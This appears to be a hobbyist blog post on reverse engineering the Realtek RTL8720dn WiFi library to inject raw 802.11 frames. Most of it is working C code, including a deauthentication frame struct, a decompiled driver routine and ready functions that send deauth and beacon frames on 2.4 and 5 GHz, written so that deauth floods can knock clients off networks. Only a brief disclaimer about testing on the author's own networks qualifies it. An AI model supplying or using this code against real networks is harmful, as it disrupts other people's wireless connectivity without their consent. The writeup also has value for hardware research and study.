Home

Making Raw 802.11 Frame Injection Possible on an RTL8720dn

decompiling rtl8720dn frame injection

How it Started

About a year ago, I discovered that with a few tricks, you could get the popular ESP32 to send raw WiFi frames. This was done by overwriting the sanity check function with a function that always returned the packet being sent as valid by forcing the C++ linker to accept multiple definitions and using the latest one available. This meant that you could send deauth floods and beacon frames that weren’t being checked by the ESP-IDF.

However, given that most WiFi networks nowadays operate on 5GHz or a mix of 2.4GHz and 5GHz, this solution was not really practical, as the client to be deauthed could just switch to the 5GHz channel and render the deauth attack effectively useless. This brought me to the Realtek 8720dn, which is a microcontroller that supports both 2.4GHz and 5GHz WiFi. Hoping that someone had already managed to find a way to send raw frames on both channels, I bought two only to realize that nobody had done this previously.

Reading in some forums that the functionality I was trying to achieve wasn’t available in the standard SDK made me give up on this pretty soon. However, just recently, I began digging more into the precompiled closed-source libraries and managed to achieve my goals!

Finding a starting point

From some hints in the Ameba forums, I started looking at the rltk_wlan_send function that was defined in lwip_intf.h and implemented in lwip_intf.c in the open-source SDK.

int rltk_wlan_send(int idx, struct eth_drv_sg *sg_list, int sg_len, int total_len);

Above the function in the .cpp file, it is stated that this function sends IP packets to the WiFi driver. idx was supposed to be the index of the WiFi interface, *sg_list a pointer to the packet buffer, sg_len the size of each sg_list entry, and total_len the size of all packets combined. So, I created my own sg_list that pointed to a deauth frame, started an access point, and rapidly called rltk_wlan_send with the frame. But sadly, no matter what I changed, I couldn’t get the WiFi driver to output anything! Not even any malformed packets as I had seen when experimenting with different packet types on the ESP32.

A Bit About Deauthentication Frames

My next best idea was to search for a deauth function in the open-source SDK, and this pointed me to a function defined in wlan_intf.h.

void rltk_wlan_tx_deauth(unsigned char b_broadcast, unsigned char key_type);

The reason I started looking for a function that sends deauth frames was the fact that WiFi deauthentication frames are really simple in structure. This struct represents the structure of such a frame:

typedef struct {
  uint16_t frame_control = 0xC0;
  uint16_t duration = 0xFFFF;
  uint8_t destination[6];
  uint8_t source[6];
  uint8_t access_point[6];
  const uint16_t sequence_number = 0;
  uint16_t reason = 0x06;
} DeauthFrame;

The frame_control field is 2 bytes in size and specifies the type of the frame. Because the ARM architecture as well as the x86 architecture use the Little-Endian system for storing bytes (e.g. 0x1234 is stored as 0x34 0x12), and the 0xC0 needs to be the first byte, a 16-bit variable can be used for this. The same logic applies to the other 16-bit fields in the struct.

The three 8-bit arrays destination, source, and access_point are different MAC addresses and have a length of 6, which is the length of a MAC address. The destination MAC address is the device that should be deauthenticated. It can also be FF:FF:FF:FF:FF:FF to broadcast the deauth and deauthenticate all associated devices. In order to be accepted by the device, the deauthentication frame also includes the source and access_point MAC addresses with the MAC address of the router. Lastly, the reason field specifies the reason for the deauthentication.

Actually, there are 4 bytes missing at the end of this frame, and this is because the frame sending mechanism of the RTL8720dn, which I’ll be covering later, adds the 4-bytes long frame check sequence automatically. This mechanism is also the reason why the sequence_number is constant - it has to be zero in order to be replaced by the real sequence number of the frame.

Compiling and Linking

After discovering the rltk_wlan_tx_deauth function, I started looking through the C files, but I couldn’t find an implementation. The reason for this was that the function was already precompiled and shipped in an object file. This is done to make it harder for people like myself to reverse engineer them.

In order to generate executable code for the Realtek MCU, every piece of code has to be compiled into object files which get linked together to form an executable. If one wanted to prevent people from looking at how the function is written, they could just provide the end user with an object file that includes the ‘secret’ functions. However, object files also need to include the name of the function, which is then defined in a header so that the compiler knows the function really exists somewhere and doesn’t throw an error for an undeclared function.

In the case of the Realtek SDK, all the WiFi functions are shipped in lib_wlan.a, which is essentially just an archive where all object files are stored. Now, I could have just run an objdump, which disassembles the object file and shows the function definitions, on every single object file (there are 154) and look for the function definition, but instead, I wrote a script that I could feed a function name and get the name of the file where it is defined.

Decompiling the SDK

#!/bin/bash

# Check if a function name is provided as an argument
if [ $# -eq 0 ]; then
    echo "Usage: $0 <function_name>"
    exit 1
fi

# Append "<>:" to the function name
function_name="<$1>:"

# Loop through all files in the current directory
for file in *.o; do
    # Run objdump and search for the function definition
    if ~/.arduino15/packages/realtek/tools/ameba_d_asdk_toolchain/1.0.1/bin/arm-none-eabi-objdump -d "$file" | grep -q "$function_name"; then
        echo "Function $function_name found in file: $file"
    fi
done

Using that function to search for rltk_wlan_tx_deauth led me to rtk_wlan_if.o. Opening that file with the popular decompiler Ghidra and searching for the function gave me the implementation in which I found multiple calls to the issue_deauth function. Using my script led me to this function:

void issue_deauth(int param_1,undefined4 param_2,uint param_3)
{
  int iVar1;
  undefined4 uVar2;
  int iVar3;
  uint local_24 [2];
  
  local_24[0] = param_3;
  iVar1 = alloc_mgtxmitframe(param_1 + 0xae0);
  if (iVar1 != 0) {
    update_mgntframe_attrib(param_1,iVar1 + 8);
    *(undefined *)(iVar1 + 0x6d) = 0;
    rtw_memset(*(undefined4 *)(iVar1 + 0x80),0,0x68);
    iVar3 = *(int *)(iVar1 + 0x80);
    *(undefined *)(iVar3 + 0x28) = 0;
    *(undefined *)(iVar3 + 0x29) = 0;
    rtw_memcpy(iVar3 + 0x2c,param_2,6);
    rtw_memcpy(iVar3 + 0x32,param_1 + 0x1ac1,6);
    uVar2 = get_my_bssid(param_1 + 0xc4);
    rtw_memcpy(iVar3 + 0x38,uVar2,6);
    *(ushort *)(iVar3 + 0x3e) = *(ushort *)(iVar3 + 0x3e) & 0xf | *(short *)(param_1 + 0x54c) << 4;
    local_24[0] = local_24[0] & 0xffff;
    *(short *)(param_1 + 0x54c) = *(short *)(param_1 + 0x54c) + 1;
    *(ushort *)(iVar3 + 0x28) = *(ushort *)(iVar3 + 0x28) & 0xff03 | 0xc0;
    *(undefined4 *)(iVar1 + 0x14) = 0x18;
    rtw_set_fixed_ie(iVar3 + 0x40,2,local_24,(undefined4 *)(iVar1 + 0x14));
    *(int *)(iVar1 + 0x18) = *(int *)(iVar1 + 0x14);
    if ((0x65a < *(int *)(iVar1 + 0x14) + 0x28U) && (GlobalDebugEnable != 0)) {
      _rtl_printf(&DAT_0001944c);
      _rtl_printf(_rtw_sae_handle_auth);
    }
    dump_mgntframe(param_1,iVar1);
  }
  return;
}

I discovered that param_1 is a void* that holds the value and thus points to the address defined at **(uint32_t **)(rltk_wlan_info + 0x10). From what it uses, I can say that param_1 is an array or a struct that holds important data for handling the frames. iVar1 looks like a control pointer. iVar3 is always used with an offset, so I subtracted the smallest offset of 0x28 from the occurrences and added it to it and discovered that it holds the actual frame data!

As you can probably see, there are three rtw_memcpy calls, each with a size of 6. The second destination is equal to the first destination plus 6, and the last destination is equal to the second offset plus 6. From this point, it might be obvious that these are the three MAC addresses I mentioned earlier. What’s even better is that they are in the exact order as in our struct. Lastly, I figured out that dump_mgntframe actually sends the frame. Now, because I don’t want you to experience the same painstaking process of reformatting the code and figuring out what the other stuff does through trial and error, I am just gonna give you my implementation of it:

void tx_deauth_frame(uint8_t *dst, uint8_t *src, uint16_t reason) {
  void *ptr = (void *)**(uint32_t **)(rltk_wlan_info + 0x10);

  void *frame_control = alloc_mgtxmitframe(ptr + 0xae0);                         // Allocate memory on the heap for the frame control
  uint32_t tmp[2];

  if (frame_control != 0) {
    update_mgntframe_attrib(ptr, frame_control + 8);
    memset((void *)*(uint32_t *)(frame_control + 0x80), 0, 0x68);
    uint8_t *frame_data = (uint8_t *)*(uint32_t *)(frame_control + 0x80) + 0x28; // Pointer to the buffer containing the actual frame data starting at 0x28

    frame_data[0x0] = 0xC0;                                                      // Deauth frame code
    frame_data[0x1] = 0;                                                         // Deauth flags, gets modified internally

    memcpy(&frame_data[0x4], dst, 6);                                            // Receiver mac address
    memcpy(&frame_data[0xA], src, 6);                                            // Transmitter mac address
    memcpy(&frame_data[0x10], src, 6);                                           // Transmitter mac address

    *(uint32_t *)(frame_control + 0x14) = 0x18;                                  // Needed for frame size (24 bytes = frame exluding wireless mgmt)

    rtw_set_fixed_ie(&frame_data[0x18], 2, tmp, frame_control + 0x14);           // Set the beginning of the mgmt header and size, fixed header
    *(uint32_t *)(frame_control + 0x18) = *(uint32_t *)(frame_control + 0x14);   // Copy the modified size
    *(uint16_t *)&frame_data[0x18] = reason;                                     // Overwrite reason code
    
    dump_mgntframe(ptr, frame_control);                                          // Send the frame
}

With the added comments, the code is a lot more readable. I added the needed functions into a header file:

extern "C" void* alloc_mgtxmitframe(void* ptr);
extern "C" void update_mgntframe_attrib(void* ptr, void* frame_control);
extern "C" int dump_mgntframe(void* ptr, void* frame_control);

Writing a Non-Deauth Specific Function

Through a lot more trial and error, I found out that you could strip down the function even more. In the end, I came up with this function:

void wifi_tx_raw_frame(void* frame, size_t length) {
  void *ptr = (void *)**(uint32_t **)(rltk_wlan_info + 0x10);
  void *frame_control = alloc_mgtxmitframe(ptr + 0xae0);

  if (frame_control != 0) {
    update_mgntframe_attrib(ptr, frame_control + 8);
    memset((void *)*(uint32_t *)(frame_control + 0x80), 0, 0x68);
    uint8_t *frame_data = (uint8_t *)*(uint32_t *)(frame_control + 0x80) + 0x28;
    memcpy(frame_data, frame, length);
    *(uint32_t *)(frame_control + 0x14) = length;
    *(uint32_t *)(frame_control + 0x18) = length;
    dump_mgntframe(ptr, frame_control);
  }
}

Now, I was able to just fill the above struct and send it via this function. I also created a beacon frame struct to send beacons.

Final Words

In total, I can say that this journey was absolutely worth it, and I hope that you think so too after reading this blog. I’m glad you made it this far, and I would be really happy if you could leave a like on my GitHub repo. Also, I should probably tell you that I have done the testing on my own WiFi networks and that I am not responsible for any trouble you might get into while using this.

© 2024 tesa-klebeband   •  Powered by Soopr   •  Theme  Moonwalk